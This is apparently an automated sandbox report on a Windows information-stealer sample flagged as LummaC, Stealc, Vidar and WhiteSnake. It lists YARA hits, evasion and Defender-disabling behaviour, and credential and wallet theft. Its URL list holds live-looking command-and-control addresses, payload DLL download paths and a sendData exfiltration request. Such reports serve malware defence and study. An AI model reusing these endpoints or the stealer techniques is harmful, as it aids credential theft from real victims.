Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\HMPPSXQPQV
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Directory queried: number of queries: 1644
Yara detected Credential Stealer
Source: Yara match File source: 00000021.00000003.3159449813.0000000001581000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.3173456455.0000000001582000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.3153407020.0000000001581000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.3182789294.0000000001582000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.3122910827.0000000001582000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.2901988505.000000000133E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.3081715006.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.3114988252.0000000001582000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.2928085827.000000000133E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.3199781657.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.3085643647.0000000001580000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000002E.00000002.3292614760.00000000014FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.2865033958.0000000005B96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.3116290987.0000000001582000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: build.exe PID: 5428, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 4744, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 62dceeab4d.exe PID: 4088, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 62dceeab4d.exe PID: 7264, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 62dceeab4d.exe PID: 8768, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 62dceeab4d.exe PID: 4088, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 62dceeab4d.exe PID: 7264, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 19.2.f99547c8e6.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 41.2.f99547c8e6.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000029.00000002.3260965862.000000000073B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000003.2780814664.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.3204730970.0000000000EE1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 00000029.00000003.3125912084.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000019.00000003.2929764002.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.3199781657.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000029.00000002.3261817464.0000000000EE1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 4744, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 6528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 7064, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: Process Memory Space: f99547c8e6.exe PID: 4744, type: MEMORYSTR
Yara detected WhiteSnake Stealer
Source: Yara match File source: 00000008.00000002.2778489586.000001BE80001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: build.exe PID: 5428, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0B0C40 sqlite3_bind_zeroblob, 19_2_6C0B0C40
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0B0D60 sqlite3_bind_parameter_name, 19_2_6C0B0D60
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFD8EA0 sqlite3_clear_bindings, 19_2_6BFD8EA0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6C0B0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob, 19_2_6C0B0B40
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFD63C0 PR_Bind, 19_2_6BFD63C0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF622D0 sqlite3_bind_blob, 19_2_6BF622D0
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFD6070 PR_Listen, 19_2_6BFD6070
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFDC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp, 19_2_6BFDC050
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BFDC030 sqlite3_bind_parameter_count, 19_2_6BFDC030
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1545821 Sample: file.exe Startdate: 31/10/2024 Architecture: WINDOWS Score: 100 111 185.215.113.43 WHOLESALECONNECTIONSNL Portugal 2->111 113 thumbystriw.store 2->113 115 23 other IPs or domains 2->115 143 Suricata IDS alerts for network traffic 2->143 145 Found malware configuration 2->145 147 Antivirus detection for URL or domain 2->147 149 21 other signatures 2->149 10 axplong.exe 2 22 2->10         started        15 file.exe 5 2->15         started        17 62dceeab4d.exe 2->17         started        19 6 other processes 2->19 signatures3 process4 dnsIp5 133 185.215.113.16, 58379, 58380, 58383 WHOLESALECONNECTIONSNL Portugal 10->133 99 C:\Users\user\AppData\...\62dceeab4d.exe, PE32 10->99 dropped 101 C:\Users\user\AppData\...\f99547c8e6.exe, PE32 10->101 dropped 103 C:\Users\user\AppData\Local\...\Final.exe, PE32 10->103 dropped 109 3 other malicious files 10->109 dropped 211 Creates multiple autostart registry keys 10->211 213 Hides threads from debuggers 10->213 215 Tries to detect sandboxes / dynamic malware analysis system (registry check) 10->215 21 62dceeab4d.exe 10->21         started        26 f99547c8e6.exe 10->26         started        28 Final.exe 3 10->28         started        105 C:\Users\user\AppData\Local\...\axplong.exe, PE32 15->105 dropped 107 C:\Users\user\...\axplong.exe:Zone.Identifier, ASCII 15->107 dropped 217 Detected unpacking (changes PE section rights) 15->217 219 Tries to evade debugger and weak emulator (self modifying code) 15->219 221 Tries to detect virtualization through RDTSC time measurements 15->221 30 axplong.exe 15->30         started        223 Query firmware table information (likely to detect VMs) 17->223 225 Tries to harvest and steal ftp login credentials 17->225 227 Tries to harvest and steal browser information (history, passwords, etc) 17->227 229 Detected PureCrypter Trojan 17->229 231 Tries to steal Crypto Currency Wallets 19->231 233 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 19->233 32 msedge.exe 19->32         started        34 msedge.exe 19->34         started        36 msedge.exe 19->36         started        38 msedge.exe 19->38         started        file6 signatures7 process8 dnsIp9 117 necklacedmny.store 188.114.96.3 CLOUDFLARENETUS European Union 21->117 83 C:\Users\user\...\VGX14DCMPTTJ4O2LPZ4N.exe, PE32 21->83 dropped 85 C:\Users\...\V30AHCO282KY2KV83OC4RNYNX.exe, PE32 21->85 dropped 163 Multi AV Scanner detection for dropped file 21->163 165 Detected unpacking (changes PE section rights) 21->165 167 Query firmware table information (likely to detect VMs) 21->167 181 5 other signatures 21->181 40 V30AHCO282KY2KV83OC4RNYNX.exe 21->40         started        44 VGX14DCMPTTJ4O2LPZ4N.exe 21->44         started        119 185.215.113.206 WHOLESALECONNECTIONSNL Portugal 26->119 121 127.0.0.1 unknown unknown 26->121 87 C:\Users\user\AppData\...\softokn3[1].dll, PE32 26->87 dropped 89 C:\Users\user\AppData\Local\...\nss3[1].dll, PE32 26->89 dropped 91 C:\Users\user\AppData\...\mozglue[1].dll, PE32 26->91 dropped 95 10 other files (2 malicious) 26->95 dropped 169 Tries to steal Mail credentials (via file / registry access) 26->169 171 Found many strings related to Crypto-Wallets (likely being stolen) 26->171 173 Tries to harvest and steal ftp login credentials 26->173 183 2 other signatures 26->183 46 chrome.exe 26->46         started        49 msedge.exe 26->49         started        93 C:\Users\user\AppData\Local\Temp\build.exe, PE32 28->93 dropped 51 build.exe 14 6 28->51         started        175 Tries to evade debugger and weak emulator (self modifying code) 30->175 177 Hides threads from debuggers 30->177 179 Potentially malicious time measurement code found 30->179 123 23.55.178.220 NTT-COMMUNICATIONS-2914US United States 32->123 125 13.107.246.57 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 32->125 127 21 other IPs or domains 32->127 file10 signatures11 process12 dnsIp13 97 C:\Users\user\AppData\Local\...\skotes.exe, PE32 40->97 dropped 185 Detected unpacking (changes PE section rights) 40->185 187 Tries to evade debugger and weak emulator (self modifying code) 40->187 189 Hides threads from debuggers 40->189 207 2 other signatures 40->207 53 skotes.exe 40->53         started        191 Modifies windows update settings 44->191 193 Disables Windows Defender Tamper protection 44->193 195 Disable Windows Defender notifications (registry) 44->195 197 Disable Windows Defender real time protection (registry) 44->197 135 192.168.2.5, 443, 49703, 49704 unknown unknown 46->135 137 239.255.255.250 unknown Reserved 46->137 56 chrome.exe 46->56         started        59 chrome.exe 46->59         started        199 Monitors registry run keys for changes 49->199 61 msedge.exe 49->61         started        139 41.216.183.9, 58382, 8080 AS40676US South Africa 51->139 141 ip-api.com 208.95.112.1, 58381, 80 TUT-ASUS United States 51->141 201 Multi AV Scanner detection for dropped file 51->201 203 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 51->203 205 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 51->205 209 4 other signatures 51->209 63 cmd.exe 1 51->63         started        65 cmd.exe 51->65         started        file14 signatures15 process16 dnsIp17 151 Detected unpacking (changes PE section rights) 53->151 153 Tries to evade debugger and weak emulator (self modifying code) 53->153 155 Hides threads from debuggers 53->155 161 2 other signatures 53->161 129 www.google.com 142.250.185.100 GOOGLEUS United States 56->129 131 216.58.206.36 GOOGLEUS United States 59->131 157 Uses netsh to modify the Windows network and firewall settings 63->157 159 Tries to harvest and steal WLAN passwords 63->159 67 netsh.exe 2 63->67         started        69 conhost.exe 63->69         started        71 chcp.com 1 63->71         started        73 findstr.exe 63->73         started        75 conhost.exe 65->75         started        77 chcp.com 65->77         started        79 netsh.exe 65->79         started        81 findstr.exe 65->81         started        signatures18 process19
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
142.250.185.100
 www.google.com United States
15169 GOOGLEUS false
20.125.209.212
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
162.159.61.3
 chrome.cloudflare-dns.com United States
13335 CLOUDFLARENETUS false
23.221.22.205
 unknown United States
20940 AKAMAI-ASN1EU false
3.168.2.84
 unknown United States
16509 AMAZON-02US false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
23.55.178.220
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS false
172.183.192.109
 unknown United States
7018 ATT-INTERNET4US false
239.255.255.250
 unknown Reserved
unknown unknown false
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
20.75.60.91
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
52.168.117.168
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
142.250.185.129
 googlehosted.l.googleusercontent.com United States
15169 GOOGLEUS false
152.195.19.97
 unknown United States
15133 EDGECASTUS false
18.244.18.27
 sb.scorecardresearch.com United States
16509 AMAZON-02US false
41.216.183.9
 unknown South Africa
40676 AS40676US true
216.58.206.36
 unknown United States
15169 GOOGLEUS false
23.198.7.180
 unknown United States
20940 AKAMAI-ASN1EU false
204.79.197.219
 unknown United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
172.64.41.3
 unknown United States
13335 CLOUDFLARENETUS false
13.107.246.57
 unknown United States
8068 MICROSOFT-CORP-MSN-AS-BLOCKUS false
94.245.104.56
 ssl.bingadsedgeextension-prod-europe.azurewebsites.net United Kingdom
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
188.114.96.3
 necklacedmny.store European Union
13335 CLOUDFLARENETUS true

Private

IP
192.168.2.5
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
chrome.cloudflare-dns.com 162.159.61.3 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
ssl.bingadsedgeextension-prod-europe.azurewebsites.net 94.245.104.56 true
prod.remote-settings.prod.webservices.mozgcp.net 34.149.100.209 true
contile.services.mozilla.com 34.117.188.166 true
youtube.com 142.250.181.238 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
ipv4only.arpa 192.0.0.171 true
sb.scorecardresearch.com 18.244.18.27 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
push.services.mozilla.com 34.107.243.93 true
ip-api.com 208.95.112.1 true
www.google.com 142.250.185.100 true
necklacedmny.store 188.114.96.3 true
googlehosted.l.googleusercontent.com 142.250.185.129 true
c.msn.com unknown unknown
spocs.getpocket.com unknown unknown
ntp.msn.com unknown unknown
clients2.googleusercontent.com unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
presticitpo.store unknown unknown
firefox.settings.services.mozilla.com unknown unknown
fadehairucw.store unknown unknown
assets.msn.com unknown unknown
detectportal.firefox.com unknown unknown
bzib.nelreports.net unknown unknown
thumbystriw.store unknown unknown
shavar.services.mozilla.com unknown unknown
crisiwarny.store unknown unknown
api.msn.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ true
    		unknown
    fadehairucw.store true
      		unknown
      http://ip-api.com/line?fields=query,country false
        		unknown
        http://185.215.113.206/6c4adf523b719729.php true
          		unknown
          http://185.215.113.206/746f34465cf17784/softokn3.dll true
            		unknown
            founpiuer.store true
              		unknown
              http://185.215.113.206/746f34465cf17784/freebl3.dll true
                		unknown
                http://185.215.113.206/746f34465cf17784/mozglue.dll true
                  		unknown
                  http://185.215.113.206/746f34465cf17784/nss3.dll true
                    		unknown
                    presticitpo.store true
                      		unknown
                      http://41.216.183.9:8080/sendData?pk=MDhCREMyMTRGMDQ3ODIxQUI0NDJDRjRDQ0IzMEMxMUQ=&ta=U29mdHdhcmU=&un=YWxmb25z&pc=NjQ4MzUx&co=VW5pdGVkIFN0YXRlcw==&wa=MA==&be=MA== true
                        		unknown
                        https://sb.scorecardresearch.com/b2?rn=1730347421554&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0ABDAC717D1767F02A72B9587C626683&cs_fpit=o&cs_fpdm=*null&cs_fpdt=*null false
                          		unknown
                          navygenerayk.store true
                            		unknown
                            http://185.215.113.206/746f34465cf17784/sqlite3.dll true
                              		unknown
                              https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730347421552&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true false
                                		unknown
                                necklacedmny.store true
                                  		unknown
                                  http://185.215.113.206/746f34465cf17784/msvcp140.dll true
                                    		unknown